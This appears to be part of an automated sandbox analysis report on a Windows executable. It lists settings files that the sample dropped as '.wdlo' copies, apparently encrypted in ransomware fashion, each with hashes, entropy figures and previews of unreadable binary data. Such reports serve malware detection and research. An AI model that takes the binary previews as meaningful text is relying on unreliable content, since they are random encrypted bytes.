Preview:	regf.U....%t...I.....<`.k....3.D0l.C..lU..1...-U....."...E_d...b..B)H.d8..<.xo2...p..5"?c...G.8..z<...(...ob.>..=Wh.J.=.ha.-..e....S......E.....2S).....H.[..6.>......._4.f..MTl..e.r/..o..r.kB5SJJByp........8...V......a.K.:~.;..]?..x...4......92...s...]..e_.H............;!{....:...:...`....[.,..6..x.p...l....\.U#i.ac..-]=.ZE(..XbO..V....B...$2/.YRF.5.lJ.s...rMk.......8..L....P...4./.B.........C..Q.c....]..n.....<.=.n.~K...Sp.5_..V?,..tv......N..Q(D..c.n}Q5#..{{.-QP..g.5.V.......5...K...,..$.l....L.f..p.84.D...e.;D..&_.S.~fry.^....8...P.6.........F...].i%....e...DTr.o...W#p....+.......<.kdLAR.]nx..p.{..Gk.:..S.i...#g..'...=Nfa.B...zy:O....O..;DdBf...m..p..cO..1.@.O..4.f.W..........\s.j.,.+P.....F........C..4.-.D?C..2...........9.Id...oy...P..C...&....5`{.3O.F.-..}..U]...;.}.e.Pn.`.g':.p.A.".G...y..+]....J.o#...p.jQ.].\|5.uN.....6afNW.C..I..._[.WZ..8?..~..."O<......vL7.9..]..E.A.!..rqO......;J...k.l.#....qqhe.m....a..v.::o&s.p(..b#....DE

C:\Users\user\Local Settings\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9730642696601155
Encrypted:	false
SSDEEP:	192:HLLpaABM4RtoGiz7bnhBq8dUEj62Ua/e8XX:HLVagt5c7bnhBqGUEW2UaWw
MD5:	108C8D0AC07D32FC2871730321B67BCA
SHA1:	86537D2C16D022EC352775AC5C110E733BD4B1A8
SHA-256:	C8627AC42D03D4BC4ED6D11235615B573744D2157B556A9F785F3CC328043AA8
SHA-512:	ED3165DFD50E1909281366DE5D5B027290BAAAA9897BE7F6B905E110682D4DB39D6E414A1D6FA9E869387142D78AEA5FE798E49A8038F3C8B739E49DE0B1EB7A
Malicious:	false
Preview:	regf.0....]..].K..j...R..G3..1."..)....\F....@Ul.f......-....)c`.9M...\..:y..Z.R..I.`.e_ID..>.g0f..T..O.m.Q...g....%...Q..U.@..Y.b...<...L.S^;...G<..:O..A.X...J....:W.}K.s.N......-...r$'..kf.H.}.l;0.....9I.C.\.C.l.j...0c..,.Q.L.$+...2...BX3$..c2.\|7.N......~:O..\|.,...f.."0\|....zuy....K.6...d........A.z..g..~.!.......^..b.....'.;.?C.".<.#...m..;..+....7p....&.=.)....LRo0r..<WO..n.Y.%.U.o... #'.....Z...u.O+y...%...s.Td.B...:.0.K...~.(..I..B%....T..M\..m....W.VL^>..L....Y..C..e.=.,.l#.k..t.e6..O=T..G...J...@..Y.9.6.....bM:<c.....c.&.W.tK.e.....n.{......\|..e.....YDE.q.F...So..K..^.&0..,8l.....iVa.....UR.u...F-..7R._Q:.....&..!%..KEl....Y..h..B<^..Cx..9.4._.....9......tI...s.....w)X.PHu..}3_r.X....JGh..@.......AD..y...]...{8..........i..,a..2}...'.aMc.9y.4....b.....J.~&...0.3}}..].[..Gdsn..:e..._o..d....OR..@Th....a.cQ2\\|.d.........i.z..q.6.Aue.....h5..f/....~.~..?.=p.^".D.>N...;.Oe._....[.0?Q....$..,...vx._x.}{r.-.F..E...l...i6.`..$H...N.b.=.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	44550
Entropy (8bit):	7.996421627879289
Encrypted:	true
SSDEEP:	768:/8bKizVVZhNvZYf2U6qQoOqI5ueaFuJa7tXXfu16MiLuM9ZFno4AYLEdRQiBoHev:/liz5YT9QBqI53af7tXXfu12LuKHnoLP
MD5:	FF20214F67B1AE8A06A27FE520DDF83E
SHA1:	0A6FC2FA9338125E60177BBC168E50604921E750
SHA-256:	5349C353D675AB04281E73AEFCA8DA00B797B0A5867CA51D6272D91E80EA46C1
SHA-512:	89BF9612A39FB75921C0C2A6A355C6EED059C1DFED08D6134A6E5991484C762F5328A0D6D0A4E859D7CB9C3E064693FDC677EDC7C704E21CB9D123641C2D9EE1
Malicious:	true
Preview:	W..~]....5...W....F..0K.....OD...2.ay..8tm%.a.....Q.;..ii.'...p.'....q...P......m.n[.(.........T.I...b}.p...'....0......Y49g...z....z..7.^..Wt..6M.P....Md.......'.Mh.6-$......9..pR."..F....Q.n....G.!....P...MBJ5..u......F.:.D.;....WP..t7.....O.c...j.H.F.v.c...P..&...uhP..m..<[-.lC.7....1Q.X..P:...t..4..f{PR2.#o._...).i.w..V..F.zt&:N..\.=..S. ......L.$.k.....Y...R......P..Aj...wx.f..x]i..P..i...Z&.J.m{...b0.........F\|q..H..LX..~....:G;-.>HV...\|....~.5.m}f.xIF...8C.4f%.PLrh.Z.C.B.."..a...c.,..lvh.8Y..h}..a..D.....fj ...b...d.5..3.....L._.7.'...;\...o.....aM.uA...1.....x..3g.f_#..R.V.m.p..x...N./..h.H%...`.3......B..[DH..o!.1..I..."....jtYqPK.Q.....&..#.....O^..di\|....cQ)&0...L..3....1.xb.".U..9t..Uu.g........yo%`.........j.T..'~..W.g.. pP..x.V.Ld3..7..UiS.H&..X=.R...<1..3r..0.B..D\.ZI.jj.....Q..(..I<.S.{.`B!.#...'F....N Y...a..ty+....74...z....^.xs..+(`.o..K.....usV.FD.#......j..\|^....=Y...S.........'+\|.......V.U.[..4zo.L.Z.+.._.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978051949893105
Encrypted:	false
SSDEEP:	192:YpF+Iv77845ffcdhq967pXrdicPBtkDCGNT4AmF+IDGRg8IMNlXi:S3DZ5fE/q9Up5zk+G14AoGRgSJi
MD5:	4EB7EB2452445CEE52D0E043DCF1F4E0
SHA1:	19809FFB64EA182B740829026B2F04AAE59912EB
SHA-256:	EA0E65EBB58069CD6407A221A6D91F1267DB361B8A33517CC3B00B54E25B557A
SHA-512:	4FE2DA6692E6CB22EA1345EB94C0F4DB526900277165ECF40B0CE3DBBB4EB22B1B8A06AAE424F80D5A32E105977A1BC3C21AEC7141789D4A6557A32C72AE9FCE
Malicious:	false
Preview:	regf...+.....@.......9...m..&.o&Z0. 4kJ.!...C.>o...n.v...0..y._...x.a.b.k.3]...F.@YS..x.HJ. [!.'..O....V....?",.:...]3.3..!WF...Jg..U0..'. A.... .E.B.w.;<..JZ.<.V.F.Q5..G...w]\.D%Qz...IS...Q...P.X.....Y6.V.{....q._W...R............'..N...Z`m.mb-....;/..zs.....SUG.i.{..=..@.yC.../.}5]'...UeH? .O..:.L.e...D:...p.Qc.2.......,,.}.^.=dqp.?..7.V...\..o...H.U.R......`cg.:ic^.k. ....3LM.,f..#^....1=.....?.....?YW.Z...Ks.{.;.C..d.M.h.au6.}N..q../.I.Z...@.O..7:S&Z.......B^.(.S....Rt...=Tn.2.../.\|.A9...... .d.e.U.a.sc......A.R.h..u...t...'. ....ak..c..@..-....f...&....V......C...q,YP........ ....]U...rM..a.. g........%.+.[..,........O..ye..]..N.n.Y.B]Z.[.\|^..+.k6.....8ci..@9....*../....C....U.t....M...>.Q..Jw%..!zR..@..;.Hn.7x[y...(I..)+..v{V......L.:n..m...'o.].......Yr....h\|......7.).u.-.h..G.....-..ol..Y......=.>....5..=....k.3...K....E.@.R<.O.e'\|..D.1/.{...7i...16A[../..n.^Jt.l.p...w..Fu~...gE..U.q<.N......W=.3%qo>.6Eq>A.0..}..+.....&...?

C:\Users\user\Local Settings\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9761488704425485
Encrypted:	false
SSDEEP:	192:P9i6h526ORokB8jqILiNwt93YBNqcHbCRdn+pK71Vwju9o3KpjO:lh5DOj8rLiNw/oBDeR1uKjwju9sKpy
MD5:	F6897D0F9E5336F5E6760CE747A230F7
SHA1:	D0707D8BB14152984F7D50DA131D26ABB1DDA440
SHA-256:	8F7BF8682110A62759EC69587CFE22CECA439E696205537FF1A0941ECCC6883F
SHA-512:	4A94513D23D9B24A34B25064E4B2B052370012C10ED36AB4DDE43180D62C6ED3F3B7941D079DA37FE0BE510ED3EC5D87894EDBD9A57BA84A8888F1FD1419E702
Malicious:	false
Preview:	regf....E.cE..5RKm... ..N..._.e.4........>.....C...)k............P.._q....Mi....y..?n.0...z.c.\.w<J...j)....n..A.dM.K...Z:f3^Z...}y.W.u ...+..q.....3.,9....l.....O.c....B..\...9VR.,..L4v.u2m^B.a...Y...-S....)a^.`...&.....Y.H..1.>.&.i#.........Z{.+.yv.9\|M../...7'....#...oD.-+=.#U.L....b..m\%[..B.oT....fcK.!\|3eM;.Z........w..g..8..(..fy2..JCHh.>L....]q.t..L.1..3g...Y......S...e..y...V.v.1.B.....F./!.U ....'j..6&..w....o.a[wTV..+.H.pU.q.zr.......1 .....8Xu.....mE..G..{..w&1.l...=..t...0..E....B..3.r..z..U..6..'..%du.0..?..e.\|, .L.....)..)..<...8?.3M....M...5flE..bRE....x.Z<.}t[...!..-..D$,..$.)w.UE...T2.=....`.n2...z...GrH.[.)._.....xU...y...XR..4....,`4`.0\|....G.. `..L<%.$.bD.~..P'i=V...e.....".-.b....:...M.....h7`..c.ru....eb.<..`...b.l.z.Sa2..4.......<7.\|e.....E...@.5..L6W...q..Y.G.o...3.Y,..5Z7..E.....`7z.8.hm.6/stv..(RN..~wM ...f... Ue...dh....3.CbX.N:C..G....z,. .o\......){...&e.p1H.=.lt...F...o.o6..0(...G....7.OD.#..e......

C:\Users\user\Local Settings\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974663420617976
Encrypted:	false
SSDEEP:	192:gD+noZ1gNPsggXfBmLhnEDhXRgsiCyC1Gt1k00K/nN:gqoZ1MPgELaDPcDC1uv1nN
MD5:	CD6B4070FE79CCE3B243B7969EE58A95
SHA1:	F43D8ED5D4B51DFEBE6F3753D49E54B79870DBAD
SHA-256:	79D36D4E92A37F77D945B984CCD22500EAFF0867B3581715C8D7918AA53CFE7F
SHA-512:	243C317C789E5079D922A2DB9CA45002B11D2CD8B3EDE2F4E5E012D32529C4101F95B115A74C5E035576C74A99F50748C812E217FBF1F75CC1F1FDCB32C1DEB4
Malicious:	false
Preview:	regf....zB~..U..4k....$......g..4X-.F.o}`g.H..-$#P. ....d.9......1 ..+.-...O.........3....lju.y.g..\..7...._c.Xlc..T.m.=..[.}..........<......M.0.>!.2...(...A.......b........Ek...e..%."}.y...=y..;E....\|d.fn\xze........2C.../.9O.{.$}....[..._.\|.2.s.2.CD....a;..R,..X9......zKE..8....m.[&.4..OY.j..Fo...r.h;.u.T...pj..+...t...{/.q.....oP.9.....?.]o.!.M.....Qd..8X`Vj....y.r.hf..=.@.DD_;.{..X..v.oC...Ao..z.$...E......y.fJ......3.S.._s..El..u..U....x.........pp..`..2..[.B..0Ms.....sd.8z".%...v.!.#.)cUq8....D.Z..M..r4....r.....F....e......Xk'.....#.N..q.........&m.;...u..BzgM,.$..F.....p.'......~...;Md.o.r$3..%:8..@......].x;.oKa... ...q...,...K=4.}.h..8......%.0u~..k,...._...x.3B.6.bg!..z.......#..'..Q.".......&.+..\|..B!G....B.YUj.6..ry.1..R..r.~p.\.>........e.X.9.V.J..U..NJ.u.l.[.A.....P..qD.TF9........=.qi.....QnK......z.b.':@yHU.Z...!S`.......$..9...-:...".`..."q...N...H.LO.Z..0#.(...."....[V.....*[.v...3.%T.bGLJ.x.w.......fF....

C:\Users\user\Local Settings\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979653718571154
Encrypted:	false
SSDEEP:	192:9PFi+aYPsIXL4+k/Zp3e47iVcDdjb0uezzwFVZVfLNr:H9Psqqje1VodjbDez8Zzr
MD5:	D493B8A3577AD3BAC812A0B1EB1D4D20
SHA1:	60B27824ECA6BA485DB654DFD6119CF36A0EBA80
SHA-256:	5C55F66F9209BFB1B5D78BAC3FE62DB0A1D5ECA8F2B82FE3A58D68D3A9A882F5
SHA-512:	E5C0BF2484394A7282DE73A8E5B1F02BE84FCBD8F4891F45D4759835348591E9C86808132ACF91978B75F908C8215D3D9935FCEDA98C7B5E10EE20C8B302D67C
Malicious:	false
Preview:	regf.T1C.2..D\|}S.....pY.??.1\.amf..\|}....s.%Nb..y.....`.E...kC..l....4.M+].fX..........h....B_..'-(.":......^.......}...s..g$....N..i...O..T...J.~...pu.............#...`.....4..E.1...i/aMbawx\..U.#.}..d!./..a.$.....r.A.f.t.....D/..D....]/.{......B@%w>i.X:+..y......bd...Sp..!......yo0 .=i...@........n.;.,......7..B).W....Hc..T.H...l.y@&,....X...7....T..r7.......e.9.; Hg.!.DpW....+.._.9w...i..?....G..c..W_].f?'9..1Qo.a9.......]...zv@.Y..)..6.!%.._m(%.+Y.......~Qn.(H...~.. K@.h....V.8....b...X .....0J.C&g]V..(;...R...C..5.I+..v..D.\|.P..3IC....K$..9.lqZ?&_k.n....0... yZ...:9)...S.2..,...Q\|..D1Ho.+b....81..../.}Z...d-(AY......;...S.....8.e....k............@..8)A...$.DDX...$....hc.YO.Bo..#.....e..~.. ....(=....8'...V......*.@OLZ.1.F.........H....b.....`j.(....s..5%....F<L..4....q...WG..<.b..r....bkC.....U...g.OcK..u.'_....]Y.l....7...H!.....d..f.OZ(6.J.z.l....1..e..#Z.f..6...............v.O.......R}.;g.oW.g.N....1=.a..eZ.-...+.w..#

C:\Users\user\Local Settings\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98119590652197
Encrypted:	false
SSDEEP:	192:sOJdy5bW5mVoQf1KL2S9gZ+fMBM3fNOr+jITJxFAuBlfO:j3y5SbIK5faz+AJxFAkw
MD5:	993A92D3D0D31DF70D049A2C301413D6
SHA1:	7D4B84822FD3FBAEC5E9CE616E298FFDC718597D
SHA-256:	36D6B911A09633C3C7FD2A6DB91E6E9B8D65CAFD6EC09D2FD651F3DFDB678FDC
SHA-512:	F36C979F107AFD379A58FFEE61443BE6B82189E49EF8B5A36223A894967C30D2038C131BA65D2C9389B29F8157C7515367568C290DF40D4EDC33AE493D3C456B
Malicious:	false
Preview:	regf.. ].XL......Ir8w....R...w.T.{z.......HX..].:...O.....(.e.;q..$R.....o^....ZD...[.k13.(........oz..L..v..}.,...AAJ.1"._..V.....K....`....G?N.e.}.'...C.4.......;KEA...d&1...S........_E.o...n..L.[?..,.......)@M.nB...hQr....@.M...~...9~[...p.S.....(.>.\.I.n..;L...,..^.fU..x..o........5.2.2:..f.q.x.F-@..a...`...t.h...../....J.%W.a."....U..o...HZ.....?.d.6..:u.$.!.2.U....~...0z.i......^.....p.y...G..&......c..t..ZQ.&.\|.f........;.\|:z.x........<.]O.E......}Vqh..p......z.....k....i..l.c.t.[R.\....i.3.U&...P.r.......P+.....-....J.4.so.w..K..B.... .....T:.....!b.._J...V.%1....).D.m+.f9Kr+..7z.;.U....u.:... ..=Q ......~1....R.2.#........X.^7K..E....~.cl...._j.Z9>.MS..1.......(.]4J.....n.....a9.I.vS..R `<.FI..d.s.(.8.1...f.....v.........Y.O.].....v......d3.jAM..rm...x..7K.!..+....V.v-.t.g..wb..1.;.YvB>..z..N......l.]..u.b....#..^..M..){.a7@.[...~....L.f..\.R.Zx.6..A..6..D......Z.=.7.<D...e-7!.r.irrTx....^U}.D"Z.h\|......O9.s.o....v

C:\Users\user\Local Settings\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978646812290639
Encrypted:	false
SSDEEP:	192:mxm6KxNE0i4bbnoF6ubEY6l1VLp93C5nnzBi:olYacoelLgk
MD5:	1D3F8865AD9F234DCE75BDDE33F24592
SHA1:	75B903544146062A97254EA214750358C9FC1DB2
SHA-256:	AD9A7B0BDF58EE1358CFAD4D5ECE61BC371ED2065BA90CC5B04456003211E0DD
SHA-512:	90AE9C374C1DB2E459DA83FEADEDE2EA76E36FF967D5DF1D91B95DAA407783894438487EF08D366A90711F65AB24D3BB22ADF83A6BA4858091607E561ACDBC6E
Malicious:	false
Preview:	regf..9..WO..r.r].....)~N.e]...Bp..M.i-^Fdr+.._s...9.q..R...:...j.ZE../!8.]..&Bi.e.....i.0...H..).i!DTs..f+....<.&.'ssE=.....+.X.KiWA..R).....S.....m..-.....%V.(..5.3..=..,.#...y..+..x[..B&..om..c...Z.....}.m..ya0...'b..f.s....:w..i/..L....p...q.f}M:..Y..'=O..Yz....k.....>".....EIQ..e...i.7BP..X...qj.u......_...u...MM..N.t%....bw....8o#.C..7........Z.N..T._5..mq6rk..M.8..R.b@.._.:z....j(F..+X_..F....).k...U..-.........6.[H..{Z@...)....Kdu..m/v...PO\|0.....0....3_3z.....rPq4....5g..(...S..s......;<J...?..i.OrR\g.x.....d.Q...0..l....r..F....zx.%..C.M8..v.....u......#.....%..X.YD....j..../.6.u-..{....#.(.s`..o.....9...8........N-.#.MY}?...[.$.[..w.m...,rn.Q .{..F@... ...7.?Q..:..>.LR...]L..[s-\|.....:.."...v.SJR......j.N..X"..x"...d-.\|<_N/T.1...}...\|..oSgz.=(H..*...T.cXM^..(.q...bF...;b.%.. .s.Q.........7.;....N.}dUa.....W8..B.;...E......_n)..:.II..6.....b.3`.8..........?Y......o5y.a4G....?.B..Tn<?.W.u..#....X.....fV..<.~jb....B

C:\Users\user\Local Settings\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9794036772709465
Encrypted:	false
SSDEEP:	192:f5nuPOMjMxSEFdft9Kjg+nULCkzxq+BPQXnpUYnG:f5uWMj5WpmAaXpUf
MD5:	F9E79980D8DEE44715EF34CEDAE490C5
SHA1:	8FB7D8E091E33381AD49442BE43F01CBCA04D91C
SHA-256:	F2735EEE4DC4443BC01CACE17EA7EA7CEC25C7314151BEB53B0D156A75A7BAF9
SHA-512:	EF14DBB7265FA60C45760AA03A83AE7293C1EEAD904F449C5B9973C60EDB6AD884CAA0D254A9F3B70CFDEDD6C372F6C4F5B77641BE53AADC6986536F9790A946
Malicious:	false
Preview:	regf...K1x....e@Bk!....K../.M.....o.fiC%(.d..^..RW-l........ ..b.........s..%.^.+.$0.#n6..\ON.C...L.h+.9'q.A..=..s..............n..~..7..9........-w..b>V.._<.....v[.K.......#.Q..y.%`....b..6..[..?9....7...p.y.;......lN../.D.....9}.t@.yXe...FVi.A.UoiA..=.....c.&H.].#"X\....x..svN.ou..o..X...'.-..&....x.........Te....\|..-.@s...{...n.6.]..-d....O.\B.I...D.4....t.....E.Qf..f..]p.G..:../....p`L.......&w.i5.9K+......$...))..w..'..L`#.,.t...D....".bi..#.5..l.F...7".s.....,`?..u.wF.C.P..<..n....o&.b..r....".=O..Z.....S_^0.p..)\.e.c.....i..WP\.n.. G.+.....K5f..rW..rD4..5...zY.3K.py.6..G-m#..l\I......t...f..5H.b......P.....34......{...6.......D.z.......(..H..G..B.xn,....R2.Y..k.e.N.POI.v.D....aS...}..=..:.....T......HY..$%...?.b#C.F`....d..C...S..\....Oyw.:y..@n.......c.R...7.h.........jY._)..}_.vn.(NP+.\|..0..Fc..k-O.......}...u<c...w...~...$.c...4`.C...QFF...w..r\|,bS...........'.......n.f.L5....../.VS..YGt%.\..#.s(U.0...N#.e..!.....0.H

C:\Users\user\Local Settings\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978156068694387
Encrypted:	false
SSDEEP:	192:kitH36sbrdtcsCjDi0jR0mpHNRKtJ8zdf0pZl24bhsi/gT:kiJ360dtcLjpjGQKA6Znb+im
MD5:	C1DBE631F3B3450881AFC1E75381208F
SHA1:	FBAEAA5E4ECB31074E92E9A9C093D48694136A1C
SHA-256:	0E9835DA9E686B9D1BDC193882774C543A246B7C2CDD7FEB2E06F23398B7C1AF
SHA-512:	C2826AB1A4324F8AED9E07B9ACD058CEA9AE637AA38952C703A2CA09CC86D1F9FECC72410C2DB0142F5B7B14F4B7FF8F6DE1E002B7B4F90B4F5A827EF2320C1B
Malicious:	false
Preview:	regf.......~...........G.&..............f....@rR.\|...W..8..=.(.uFU.._...k..L...3..P\|s+.....Zd..X.?.....;.....s.4..U..<.h..=.. 7.~.Q....n.i.,R.I ..Q!.?..{......m]&{!.....-.).".2........j..V.a.u...vR...Egr..1..I...6..\........)........X..cPm..nIo[.....a6G.. ..{..,).hq.....\|.......w{.).F=...&.&..4#...od..S...T...6.x..l.....Y15.Y!1...../.5..D.......^...3.....>........M....5.c.\..7.[.By..=.^3.Z.....7.c.....d.J.k.8jTr&>1j.$..0<.G..]........d./.&.CH..H.Iz.I.?\...N.I..D.c...B.k.H.9..g.d.U. ,.36...>..Q.6j...7.....]...g.eO.3M..6.cl...O`.C..f.o.../.>...1.l.....-.,...1..Rv.....N..3..'Q.6.p:.i. .r7....#...mo7....h...],07mmN.<.:...[2....<..:...+..._.........{A.J^c.O(..o=..C...=.....(k..~...8..7.^.\|.80+g5....R.......e.......P...E/.w9..5....`.t....j(.............mg...0.S........&BKM.w...w...........4d.17.U...O.d.?B.>..g..'..>wpH..r.G4..wB. .....N...M..'...2........I.g.d3`SJ.+...p$3...3.j...c...W......H........yA!$J...Q.5v...R.$...s^+1jfFx.

C:\Users\user\Local Settings\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.982315276838824
Encrypted:	false
SSDEEP:	192:akgLA4XsZyK/ktP7G7jKAq+NsD50PRUmhshM+l0:aVsZyK/8zTAzNsdmRHsGg0
MD5:	2860FC7875787F9BA9823716283045E0
SHA1:	97F321B2093192EA137CF8DA45993857189292DE
SHA-256:	BB03C9B3E33B752F998E4CC80FC2DF442662A8EB2D68EC8D0041E7E6748520A0
SHA-512:	4D422F770FC144CCBB7EB5EB6376FE1EAE1E2817AB4D8C8A2F8F79C3CB7760F8286256D00392926033AC07147190C11FD034AC867E02FD24E445310C9A5CFDA6
Malicious:	false
Preview:	regf...Ja_e:..S.......g0.R.j..L...w....L,.&.CA..&....M%5=4...wT...N.@h..w."..d...oi.Em....,.......Jn.......9....\|.D...f.1X.c.U_.G..kz>CM....#.?Z..X&mn.Y<._.K.=.....0hQ`.K.....%qx.FE..:....SR.W..d..<..M...-l.f.{...h~...S.@0.D...l.q...+...\|_...@.....)..c...K..}.C......v}.Ln.z.6..n=U$....=...cj...J/>.........K..tW\.@....u.'.9.....5T.....+(..:.3G.R.INc..F...2...j...z.y..]&/.4.....h....#.....)..x.m.2W..A..S....e@.S!we....Q..I.UtG..;...b..1...<..}Qc...N.(.R cW..t..S.^..kb\>.)..D.<..f...A...M5C.=.....i.#9.#.k.....Kp..~.?..\|...j...u!.~....$3.Zx[....u...^!......!p7..{.{L.........s..i...)..}.`..g..........J.......z.B.$..=..$..A.........,..b.R-.....UN..}B.........2>...7w)L/5...]...SlYe.<.X...R.......M.#b...A..w..d".rE.ji).cJ.M.....;.....^K..!........%....$US...G.......V../...)^E$y..f...C...'..eU1...P..5.R~...XG8..f...........u#.z._.?...L......Kz.A......3'..r.ou2.e..&.\|..h.y[.t....9. {...Mv...V).*..=..u...\|fvv.u$N..C..t.S.S...~..X.............K.2?v

C:\Users\user\Local Settings\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9757208970001825
Encrypted:	false
SSDEEP:	192:QwoaVbPzv4kF9Fj3gG0Z0D6cFRWdpE8MTOu5XPfs:voqVh3gGRjFMEXX8
MD5:	BA2BDB758812AE68B1C8E9DA449FF2F5
SHA1:	79AACF9B96EC85690BE409CB24C5EC1AFD65F4C1
SHA-256:	87364B005F0E33DC42472F467817F02D81AF0409620698E8DF78445DA6AAC197
SHA-512:	A7AD61B06E7415E6885B0176DE28D93220B45F3C96E92F2F0E72ADD4B27CC11C07F2B022EAFB3D346F8AA4AE80E95FDDB3EB31391CA6B6BA4EA1AE9161ECDC39
Malicious:	false
Preview:	regf...Q.L...QT.6.IP.....J..X$.: ..H.Mq../n......z.{..G..W[.....Oj.T...<W'.........N...uz.......0.(.l..@L{..I^....S....o]n.w...s..Lv......f....~w..P...U3........F..T..o.q.......g.....K.b8E.Di.{.~u.../..b...c....j0.e....s...v$..W..UB.Ipu....YH\4.G.&..S.n."..s.o...-..}...>.0e2s-.!.._K...\|L@Ok..1...A.\...v..4...Af.\-....e\A.f..V..Q.f....<..[q..].g..0>F.vE..'...B.........p.)w.....Wbk.O.;....{.eb.N.%-.k$.....;R...;...;lF.W....F...F..y..........V.z..u^I....%Z.Y.....F.../...p...j.v....N...2.&.g2....{.3......Db...y.U...._108`w.A.."t.H.....=v.o.#i.qm.).9..I.w.-]w..~7..'E...V....xW....Q.b.Ku.3..'.].Zz".iiv...!.....C.JH"<....{.P~...D.......j5..d.. .f..r.95..=~..\.;.WXrW.........f.......Z.R.N.=.L.p..;.Jt".z1wy5."....H^.n[a.}7....n>....>.k'.....R.5:S..(U..fD....A.5y...+.D.^%.x.. ...;.#...9i.....I..P.I/Q....n.e..h.....-Vf.h.g^.\s..k.Oh.y...a...i]_..x1.&<......\....1..T..:nR-...l+.v.P.1'..H.i...'..d.....pFT..M.E.;.N.^.$@.. s....<....C..-.... ...5=;.

C:\Users\user\Local Settings\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973847546081239
Encrypted:	false
SSDEEP:	192:N3Amjb6bKX3Gn/SJ/6WV4IMQ1VN2h3NXs3vlBODeo9G3M:xAmjGbKn0WCu1X2h3NX47ODJ9Z
MD5:	69869A7A655ACBE1DDF6C5977B6F0E03
SHA1:	4223CB275261F1CA7C3A42A5BCDD4BF655A38C0D
SHA-256:	E3431C05F0027244D9609348CC2385EDEDB36B0954F1EEC56A508243CE1D4D4E
SHA-512:	974EE3F5D0C3DE63313D2F52C8D04155A1A409A8F8192E7F9D6AA6822C41FBB4086AE80396D8D2E19989277E6D7AAE18F09B47E72936503B9982E35E9D4E6315
Malicious:	false
